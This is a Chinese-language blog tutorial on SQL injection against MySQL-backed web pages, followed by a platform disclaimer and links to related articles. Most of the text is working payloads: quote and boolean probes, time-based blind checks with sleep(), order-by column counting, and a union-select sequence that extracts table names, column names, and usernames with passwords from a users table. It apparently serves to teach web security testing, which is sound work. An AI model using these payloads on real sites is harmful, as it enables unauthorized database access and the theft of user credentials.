sql注入判斷

get單引號(hào)判斷

?id=1 正常
?id=1' 顯示錯(cuò)誤則存在sql注入

get and判斷

?id=1 and 1=1
?iid=1' and 1=1如果報(bào)錯(cuò),那就存在sql,在請(qǐng)求字符串或者id參數(shù)后面加入'(單引號(hào))是一種常見(jiàn)的判斷是否存在sql注入的方法

Or、xor判斷

和and差不多

sql運(yùn)算符判斷

?id=5-0
?id=5-1
?id=5+1
通過(guò)判別獲取的內(nèi)容是否一致,內(nèi)容不一致則說(shuō)明存在sql注入,因?yàn)榇嬖诹四爿斎氲膒ayload運(yùn)算執(zhí)行

通過(guò)sleep函數(shù)演示來(lái)判斷

?id=1' and if(left(database(),1)='s',sleep(3),1)--+
left()函數(shù):left(database(),1)='s’
left(a,b)從左側(cè)截取a的前b位,正確則返回1,錯(cuò)誤則返回0。
例:left(database(),1)=‘s’; 前1位是否是s。

服務(wù)端返回錯(cuò)誤形式

錯(cuò)誤直接回顯在頁(yè)面上
錯(cuò)誤隱藏在頁(yè)面源代碼中
檢測(cè)到錯(cuò)誤跳轉(zhuǎn)到另一個(gè)頁(yè)面
返回HTTP錯(cuò)誤代碼500或重定向302
適當(dāng)處理錯(cuò)誤結(jié)果,常顯示一個(gè)通用錯(cuò)誤頁(yè)面

其它方法

了解post、get、編碼

常用'or and 1=1 # 'or and 1=1 –-+

井號(hào) #是sql語(yǔ)句中的注釋符;

加號(hào)+ 在http請(qǐng)求中表示空格;

-- 后面的語(yǔ)句相當(dāng)于被注釋掉,不執(zhí)行后面的sql語(yǔ)句;

--+代表閉合sql查詢語(yǔ)句,如果沒(méi)加,無(wú)法形成有效的mysql語(yǔ)句,這是sql注入中常見(jiàn)的巧妙運(yùn)用。
在post參數(shù)中
要加空格符,直接輸入空格服即可;用+會(huì)被http請(qǐng)求轉(zhuǎn)義為%2B編碼;
在get請(qǐng)求中
在get請(qǐng)求中如果有空格,需要用空格符編碼%20來(lái)替代,不然會(huì)請(qǐng)求報(bào)錯(cuò);
如果用#表示不提交#后面的參數(shù)到服務(wù)端,但是轉(zhuǎn)成%23編碼就可以提交過(guò)去;
常見(jiàn)URL編碼
空格 %20
+%2b
<%3c
大于 >%3e

sql注入常用mysql函數(shù)

order by

發(fā)現(xiàn)注入點(diǎn)

輸入?id=1 正常;

輸入?id=1'報(bào)錯(cuò),就存在sql注入漏洞。

猜id=1顯示條件中表的字段

例如輸入?id=1' order by 3 --+ 顯示正常
再次輸入?id=1' order by 4 --+ 顯示錯(cuò)誤
所以的出,在?id=1查看的這個(gè)表有3個(gè)字段

仔細(xì)想想,為什么不是?id=1或者id=1'呢?后面為什么要加--+呢?

爆開數(shù)據(jù)庫(kù)
?id=-1' union select 1,2,database() --+
爆開數(shù)據(jù)表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆開數(shù)據(jù)列(字段名)
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆開數(shù)據(jù)值
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 首發(fā)地址:我的個(gè)人博客 前言 本文章產(chǎn)生的緣由是因?yàn)閷I(yè)老師,讓我給本專業(yè)的同學(xué)講一哈SQL注入和XSS入門,也就...
    簡(jiǎn)言之_閱讀 1,218評(píng)論 0 7
  • 一、sql注入原理 SQL 注入就是指 web 應(yīng)用程序?qū)τ脩糨斎氲臄?shù)據(jù)合法性沒(méi)有過(guò)濾或者是判斷,前端傳入的參數(shù)是...
    卿酌南燭_b805閱讀 4,371評(píng)論 0 2
  • 在我們測(cè)試用到的時(shí)候,經(jīng)常會(huì)使用到一些語(yǔ)法,應(yīng)該透徹理解透徹這些函數(shù)1)order byb 用于根據(jù)指定的列對(duì)。語(yǔ)...
    二潘閱讀 1,361評(píng)論 0 3
  • 一、分類 可以有以下幾種不同的維度:維度一:基于注入點(diǎn)值的屬性 數(shù)字型 字符型維度二:基于注入點(diǎn)的位置 GET/P...
    ffx_01閱讀 1,854評(píng)論 0 0
  • MSSQL 跨庫(kù)查詢(臭要飯的!黑夜) 榨干MS SQL最后一滴血 SQL語(yǔ)句參考及記錄集對(duì)象詳解 關(guān)于SQL S...
    碧海生曲閱讀 5,917評(píng)論 0 1

友情鏈接更多精彩內(nèi)容